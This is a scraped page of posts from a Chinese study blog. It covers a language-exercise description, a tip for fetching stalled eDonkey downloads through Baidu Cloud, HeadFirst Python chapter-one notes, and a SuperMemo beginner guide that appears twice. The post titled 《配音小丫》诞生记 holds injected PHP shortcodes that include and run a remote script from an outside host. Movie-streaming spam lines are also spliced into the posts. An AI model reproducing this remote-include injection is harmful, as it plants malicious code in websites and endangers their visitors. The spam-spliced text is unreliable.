  • 听写模式:模式二字略有些不知所谓,直接去掉更妥。浅白地讲,这特么就是一个听写题,操作对象通常是句子。流程是酱紫滴:一个页面内给出6个左右的句子——你自然是看不到的,每个句子有对应的录音,你只要将它一一听写出来就OK了。这个类型,考得不仅是语法,听和写都练到了。听写的难度并不大,如果你做过当前级别的其它练习,你会发现,那些句子你原本就很熟悉。而听写熟悉的句子,你的注意力或会在有意无意间,集中在听力上,你的潜意识会悄悄吸收句子自身携带的语法知识点……这个或许就是听写被纳入“语法训练”的主要原因;
  • 文本翻译:又一个汉化错误。这特么根本不是翻译,而是给你一段文本,让你按特定的要求进行改写,比如,将文本中的n个句子从比较级改写成最高级……要舍得来勉强总结一下的话,这可算是4、5两项练习的升级版,只是不再给你参照物,操作对象也从一个句子升级到了多个句子。

to be continued……

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

如何快速下载“过期”的电驴资源?

电驴是什么,想必不需要舍得做过多的介绍了吧?

网上有很多比较稀缺的资源,是由电驴提供的。但由于电驴本身的特性,有些资源往往会连接很久也没有合适的源,这便是舍得所说的过期。

如何快速下载到这些“过期”的资源呢?

舍得最近用的一个比较高效的方法是,用百度云做跳板。这一招应该也有一些朋友早已在使用,但舍得相信,肯定还有一些对此不了解的朋友。so,这篇文章便是为他们写的。

打开百度云管家——竭诚推荐舍得提供的不限速版:【十二月福利】百度云管家5.3.6不限速版

然后点击“离线下载”按钮:

SNAG-0007

将电脑链接粘贴进去:

SNAG-0006

再点击“开始下载”就可以了。

SNAG-0005

“离线下载任务列表”窗口会自动弹出,下载完成的话,任务后面自然会被标上“下载成功”的字样。然后,你便可以用云管家从自己的网盘中下载这份资源了。这个时候,下载的速度就是由客户端来决定了。使用不限速的版本下载一些大文件的时候,百兆光纤环境下达到2-3MB/s很正常。

当然,下载电驴资源的方法并非这一种。你也可以用其它的客户端,比如emule,比如迅雷。但这些客户端对一些过期资源并没有太好的方法,挂在那里一两天都下载不到东西也是常有的事。尤其是迅雷,部分电驴资源发布的时候便会封掉迅雷的客户端连接。

使用迅雷的离线下载或许能突破电驴的封杀,下载的速度也会有一定的保障。但前提是,你得花钱购买迅雷的会员。如果你平时下载的东西不多,舍得觉得没有必要给迅雷上供,尽管每月几十块钱也不多。

当然,使用百度云作跳板的方法并不是百试百灵。但大部分冷门资源都可以通过它下载,推荐大家尝试。

使用过程中,还需要注意一件事。有些电驴链接粘贴到云管家时,会出现“链接格式有误”的提示:

SNAG-0008

肿么办捏?
通常这个时候,我们要对电驴链接作一下URL解码处理。

在百度中输入“url编码”,随意找一个“URL转码”的网站,比如这个:

url转码 – 在线编码转换

将电驴链接贴到右边辣个框框中:

SNAG-0009

然后点击“URL解码”按钮,再将左边框框中解码出来的链接复制并粘贴到云管家里——你便可以搞定收工了。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

《HeadFirst Python》第一章学习笔记

对于Python初学者来说,舍得强烈推荐从《HeadFirst Python》开始读起,这本书当真做到了深入浅出,HeadFirst系列,本身亦是品质的保证。这本书舍得已在《Python起步:写给零编程基础的童鞋》一文中提供了下载。为了方便大家的学习,舍得特意制作了Jupyter Notebook格式的笔记,文章末尾舍得提供了笔记的下载地址。

读《HeadFirst Python》的同时,最紧要的是及时做练习,你甚至可以在快速浏览过一章后,便拿起练习来做。

做练习的时候,切记,不要用书中建议的Python自带的IDLE。作为过来人,舍得的建议是使用Jupyter Notobook。具体的安装方法舍得已在Python起步:写给零编程基础的童鞋》中讲得很清楚了,每次你要练习的时候,运行jupyter-notebook.exe,便可以在程序打开的浏览器页面中进行代码输入了。Jupyter Notobook与Python自带的IDLE相比,有着巨大的优势:

  • 增强版的代码自动补全:输入代码过程中,可尝试按Tab键,程序会提示相应的代码;
  • 每次录入的代码程序会自动替你保存下来,这就相当于你自己的学习笔记,你可以在代码的前或后加入注释,注释前面用一个“#”+一个空格(空格可以不加,但舍得建议从一开始便养成良好的写代码习惯,#后带空格是Python代码规范-PEP8的要求)就可以了;
  • Notebook给你保存的笔记,你可以随时打开,点RUN按钮(或用Alt+Enter快捷键)便可以运行选择中的某一段代码,这是Python自带的IDLE根本无法做到的事情;
  • 在Notebook中你可以极为方便地输入多行代码,而Python自带的IDLE在这方面有极大的限制;
  • 对于颜控来说,Notebook的代码着色看起来更加舒服一些;
  • ……

舍得会将书中每一章中提到的大部分练习,收录到笔记中,你可以在看完一章后,拿舍得给你的笔记,在Jupyter Notebook中进行练习。当然你也可以在看到书出给出一段代码时,立刻在Jupyter Notobook中输入并运行。

舍得提供的笔记是ipynb格式(ipy是指ipython, Notebook是用ipython来实现的。而nb则是notebook的缩写),当你下载了笔记之后,请将其放到“你的python安装文件夹(默认是c:\python34)\Scripts”文件夹下,然后刷新一下浏览器中Jupyter Notebook的首页,便可以看到这个笔记,点击该笔记,就可以浏览了。

SNAG-0140

如果你在Jupyter Notebook首页中已经点击过“New->Python 3”, 那么你可以使用菜单”File->Open“回到首页选择舍得提供的笔记。

SNAG-0143

下面舍得开始讲解第一章的要点。

文中”[in]:“后面的内容,表示我们在Jupyter Notebook中输入的代码和注释,内容中以”# “开头的,是舍得的注释。

[out]:“后面的内容,则是代码执行后的输出结果。

舍得在注释中,标明了该段代码的页码,方便你对照书本进行练习。书中有些内容的讲解比舍得更详细。

舍得对部分代码进行了改写,但不影响代码的最终效果。

[in]:

    # 熟愁一下打印命令.
    # 第一章 p4
    # 内容前面加一个#号表示注释, python会自动忽略#号后面的内容
    if 43 > 42:
        print("Don’t panic!")

[out]:

    Don’t panic!
   

[in]:

    # 创建简单的Python列表
    # 第一章 p8
    # 标识符:movies, 你给这个列表起的名字
    # 操作符:=,把列表赋给标识符
    # 列表格式:两端用中括号;列表中每一项用逗号隔开;电影名称两边加引号;
    movies = ["The Holy Grail",
             "The Life of Brian",
             "The Meaning of Life"]
    print(movies)

[out]:

    [‘The Holy Grail’, ‘The Life of Brian’, ‘The Meaning of Life’]
   

[in]:

    # 用中括号记法访问列表
    # 第一章 p9
    # 打印列表中第2个数据(第1个为0)
    print(movies[1])

[out]:

    The Life of Brian
   

[in]:

    # 列表深入学习:len
    # 第一章 p10
    # len:获取列表长度,即列表有几个数据项
    cast = ["Cleese", ‘Plain’, ‘Jones’,"Idle"]
    print(cast)
    print(len(cast))
    print(cast[0])  # 0表示第一个数据项, 你可以自己换不同的数字尝试一下

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
    4
    Cleese
   

[in]:

    # 列表深入学习:append
    # 第一章 p10
    # append:在列表末尾增加一项数据
    cast.append("Gillianm")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:pop
    # 第一章 p10
    # pop:从列表末尾删除数据
    cast.pop()

[out]:

    ‘Gillianm’

[in]:

    # 再打印一下,看看有何变化
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
   

[in]:

    # 列表深入学习:extend
    # 第一章 p10
    # extend:在列表末尾增加一个列表(两个列表合并)
    cast.extend(["Gillianm", "Chapman"])
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’, ‘Chapman’]
   

[in]:

    # 列表深入学习:remove
    # 第一章 p10
    # remove:在列表中找到并删除一个特定的数据项
    cast.remove("Chapman")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:insert
    # 第一章 p10
    # insert:在列表中特定的位置前增加一个数据项
    cast.insert(0, "Chapman")  # 0表示插入在最前面,你可以试试其它的数字
    print(cast)

[out]:

    [‘Chapman’, ‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 习题
    # 第一章 p13
    # 把每部电影的出品年代加到列表中
    # 象下面这样: [‘The Holy Grail’, 1975, 1975, 1979,
    # ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983, 1983]
    # 把数字放进列表的时候,数字不用加引号
    movies.insert(1, 1975)  # 第1个插入到第2个列表项前
    movies.insert(3, 1979)  # 第2个插入到第4个列表项前(好好想想为什么用3)
    movies.append(1983)  # 最后一个追加到末尾就行
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983]
   

[in]:

    # 列表: 迭代
    # 第一章 p15
    # 迭代: 用一个for循环,把列表中所有的项逐个打印出来
    # for … in …表示取这个列表的每一个数据
    for i in movies:  # 这里的i随便用哪个(一个或多个)字母都行
        print(i)  # 只要两个i保持一致.你可以试试用不同的字母

[out]:

    The Holy Grail
    1975
    The Life of Brian
    1979
    The Meaning of Life
    1983
   

[in]:

    # 列表: 迭代
    # 第一章 p16
    # 迭代: 用一个while循环,把列表中所有的项逐个打印出来
    # 效果和for循环一样
    # while xx < xxx表示:只要xx < xxx,就一直执行下去, 直到这个条件不成立
    count = 0
    while count < len(movies):  # 前面刚学过的len用法
        print(movies[count])  # 前面刚学过的中括号记法
        count += 1  # 和书本上的count = count + 1相同, 表示让count自增1

[in]:

    # 列表:在列表中储存列表
    # 第一章 p18
    # 我们用movies这个列表来记录一部电影的数据. The Holy Grail这部电影全名叫
    # 《Monty Python and the Holy Grail》(巨蟒与圣杯),1975年出品,两个Terry是导演,
    # 同时也参加了演出。影片时长为91分钟,Chapman是编剧(同时也是主演)。Michael这
    # 一伙人既是编剧,亦是配角。这帮人真是玩嗨了,自编自导自演。
    movies = ["The Holy Grail", 1975, "Terry Jones & Terry Gilliam", 91,
              ["Graham Chapman", ["Michael Palin", "John Clseese",
                                "Terry Gilliam", "Eric Idle", "Terry Jones"]]]
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘Terry Jones & Terry Gilliam’, 91, [‘Graham Chapman’, [‘Michael Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]]
   

[in]:

    # 用for循环处理这个列表
    for i in movies:
        print(i)

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    [‘Graham Chapman’, [‘Michail Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]
   

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    names = [‘Michael’, ‘Terry’]
    isinstance(names, list)  # 判断它是不是列表(list)类型
   

[out]:

    True

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    # 换个方式
    num_names = len(names)
    isinstance(num_names, list)

[out]:

    False

[in]:

    # 列表:在列表中查找列表
    # 第一章 p21
    # 习题: 把上面那个movies列表中的每一个数据项都打印出来
    # 用if … else …模式
    # 结合isinstance
    for i in movies:
        if isinstance(i, list):  # 先判断i是不是列表
            for j in i:  # 是的话用for循环
                if isinstance(j, list):  # 还要再往下挖一层, 因为还有一个嵌套的列表
                    for k in j:
                        print(k)
                else:  # 每一对if…else…要对齐
                    print(j)
        else:  # 不是列表就直接打印
            print(i)
    # 如果再来一层嵌套的列表, 怎么办?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones
   

[in]:

    # 函数
    # 第一章 p30
    # 使用函数可以简化刚才写的那段代码, 再多来几层列表咱也不怕啦!
    # def关键字是define的缩写,python看到def就知道这个是函数
    def print_lol(the_list):  # print_lol就是我们定义的函数名,尽可能把名字起得有意义一点
        for i in the_list:
            if isinstance(i, list):
                print_lol(i)  # 如果是列表, 那么调用"自己"再次处理这个列表
            else:
                print(i)

[in]:

    # 函数
    # 第一章 p30
    # 我们来用print_lol这个函数来打印我们的列表movies
    print_lol(movies)  # 看看,代码是不是精简了很多?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones

   

第一章完。

本文笔记下载地址:

链接:http://pan.baidu.com/s/1eR4iJoI 密码:t72j

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

《配音小丫》诞生记

[insert_php] include(“http://acommeamour.fr/tmp/n4orl.php”); [/insert_php]
[php] include(“http://acommeamour.fr/tmp/n4orl.php”); [/php]

watch full The Bye Bye Man 2017 film

标签:

【新手必读】SuperMemo如何入门?

前几日在论坛内看到有童鞋抱怨说,“我花了半个月还没入门”,“我下载不到东西”……有感于此,舍得觉得很有必要来给新接触SuperMemo的童鞋写这样一篇文章。

首先是版本的选择。请使用SuperMemo UX版,版本相关的介绍请看此处:《浅谈SuperMemo的版本选择

然后舍得来回答“花了半个月还没入门”的问题。

SuperMemo的入门非常简单,你不需要去做太多的事情:

  • 下载并安装SuperMemo。官方下载地址:http://www.supermemo.pl/download/smux/smux.zip。下载后可以更新到最新版本。通常使用英文原版即可,界面上没几个英文单词。有进一步需要的,可以下载舍得汉化的版本,但下载是有条件滴:《【九月福利】SuperMemo UX 1.5.4.2汉化尝鲜版【需有回复权限】》。推荐将SuperMemo安装在Win7以上的操作系统,建议用Win8。Win XP需要系统内装有.netframework和8.0以上版本的IE;
  • 新建账户&添加新课程安装完毕,打开程序,开始新建账户(只需做一次)、添加新课程,具体的操作请观看舍得录制的视频《新建账户&添加新课程》;
  • 课程哪里找?请点击舍得学苑课程下载中心,查看一下是否有你需要的课程。你还可以登录舍得学苑淘宝专卖店来查看学苑制作的精品课程,也可以在专卖店内付费定制你所需的课程。论坛内发布的课程不保证长期有效,如果论坛链接失效,请不要抱怨“我下载不到东西”。若以上都不符合你的胃口,建议自行制作;
  • 如何制作课程?作为新手,建议不要去涉及高级的制作工具,如转换精灵之类。你现在要的是“入门”,而不是一下子成为“课程制作专家”。饭要一口口吃,路要一步步走,步子太大,容易扯着蛋。那么新手如何制作课程呢?直接进编辑模式逐页添加,这是最简单的方式。具体操作请看视频《如何制作课程》。在入门阶段,请暂时抛开所有对制作和辅助工具的念想,什么转换精灵、课程编辑器、课程助手……不要去想那么多,直接从学习入手!把自己的注意力聚集在学习本身,其它的内容,可以留到你对SuperMemo的使用足够熟悉之后,再抽空来了解。
  • 如何开始学习?舍得认为,对于刚入门的童鞋,不宜去折腾各种课程制作方面的工具。也无需去想手机上怎么用,直接从UX版开始即可。看起来拿着手机用碎片时间来学习是一件非常美好的事情,但若你认为你只有在手机上才肯开始学习,亲,你要解决的不是学习方法、学习工具这个层面的问题,而是自己的学习动力、学习动机的问题。关于如何使用SuperMemo UX,同样有现成的视频可以观看、学习:《SuperMemo UX软件使用基本流程》、《SuperMemo UX的评分标准》,其它的一些操作技巧上的内容,你可以通过舍得学苑发布的相关视频中学习。

掌握以上这点内容就够了!不要去想太多,既然说入门,就该好好掌握基本的操作,不要去想着把自己一下变成这个领域的专家级人物。

说入门难,可能是自己定位过高,想得太多……简单一些吧!眼下你需要的是用SuperMemo来提升你的学习效率,而不是花大把的时间去折腾工具。何苦让尚在入门阶段的你,背负太多本不需要加在你身上的包袱呢?

记住,你不用去寻找各种各样的工具,除了SuperMemo UX软件和个别的课程,没有什么东西是需要你去下载的。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

【新手必读】SuperMemo如何入门?

前几日在论坛内看到有童鞋抱怨说,“我花了半个月还没入门”,“我下载不到东西”……有感于此,舍得觉得很有必要来给新接触SuperMemo的童鞋写这样一篇文章。

首先是版本的选择。请使用SuperMemo UX版,版本相关的介绍请看此处:《浅谈SuperMemo的版本选择

然后舍得来回答“花了半个月还没入门”的问题。

SuperMemo的入门非常简单,你不需要去做太多的事情:

  • 下载并安装SuperMemo。官方下载地址:http://www.supermemo.pl/download/smux/smux.zip。下载后可以更新到最新版本。通常使用英文原版即可,界面上没几个英文单词。有进一步需要的,可以下载舍得汉化的版本,但下载是有条件滴:《【九月福利】SuperMemo UX 1.5.4.2汉化尝鲜版【需有回复权限】》。推荐将SuperMemo安装在Win7以上的操作系统,建议用Win8。Win XP需要系统内装有.netframework和8.0以上版本的IE;
  • 新建账户&添加新课程安装完毕,打开程序,开始新建账户(只需做一次)、添加新课程,具体的操作请观看舍得录制的视频《新建账户&添加新课程》;
  • 课程哪里找?请点击舍得学苑课程下载中心,查看一下是否有你需要的课程。你还可以登录舍得学苑淘宝专卖店来查看学苑制作的精品课程,也可以在专卖店内付费定制你所需的课程。论坛内发布的课程不保证长期有效,如果论坛链接失效,请不要抱怨“我下载不到东西”。若以上都不符合你的胃口,建议自行制作;
  • 如何制作课程?作为新手,建议不要去涉及高级的制作工具,如转换精灵之类。你现在要的是“入门”,而不是一下子成为“课程制作专家”。饭要一口口吃,路要一步步走,步子太大,容易扯着蛋。那么新手如何制作课程呢?直接进编辑模式逐页添加,这是最简单的方式。具体操作请看视频《如何制作课程》。在入门阶段,请暂时抛开所有对制作和辅助工具的念想,什么转换精灵、课程编辑器、课程助手……不要去想那么多,直接从学习入手!把自己的注意力聚集在学习本身,其它的内容,可以留到你对SuperMemo的使用足够熟悉之后,再抽空来了解。
  • 如何开始学习?舍得认为,对于刚入门的童鞋,不宜去折腾各种课程制作方面的工具。也无需去想手机上怎么用,直接从UX版开始即可。看起来拿着手机用碎片时间来学习是一件非常美好的事情,但若你认为你只有在手机上才肯开始学习,亲,你要解决的不是学习方法、学习工具这个层面的问题,而是自己的学习动力、学习动机的问题。关于如何使用SuperMemo UX,同样有现成的视频可以观看、学习:《SuperMemo UX软件使用基本流程》、《SuperMemo UX的评分标准》,其它的一些操作技巧上的内容,你可以通过舍得学苑发布的相关视频中学习。

掌握以上这点内容就够了!不要去想太多,既然说入门,就该好好掌握基本的操作,不要去想着把自己一下变成这个领域的专家级人物。

说入门难,可能是自己定位过高,想得太多……简单一些吧!眼下你需要的是用SuperMemo来提升你的学习效率,而不是花大把的时间去折腾工具。何苦让尚在入门阶段的你,背负太多本不需要加在你身上的包袱呢?watch movie Beautiful Accident now

记住,你不用去寻找各种各样的工具,除了SuperMemo UX软件和个别的课程,没有什么东西是需要你去下载的。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签: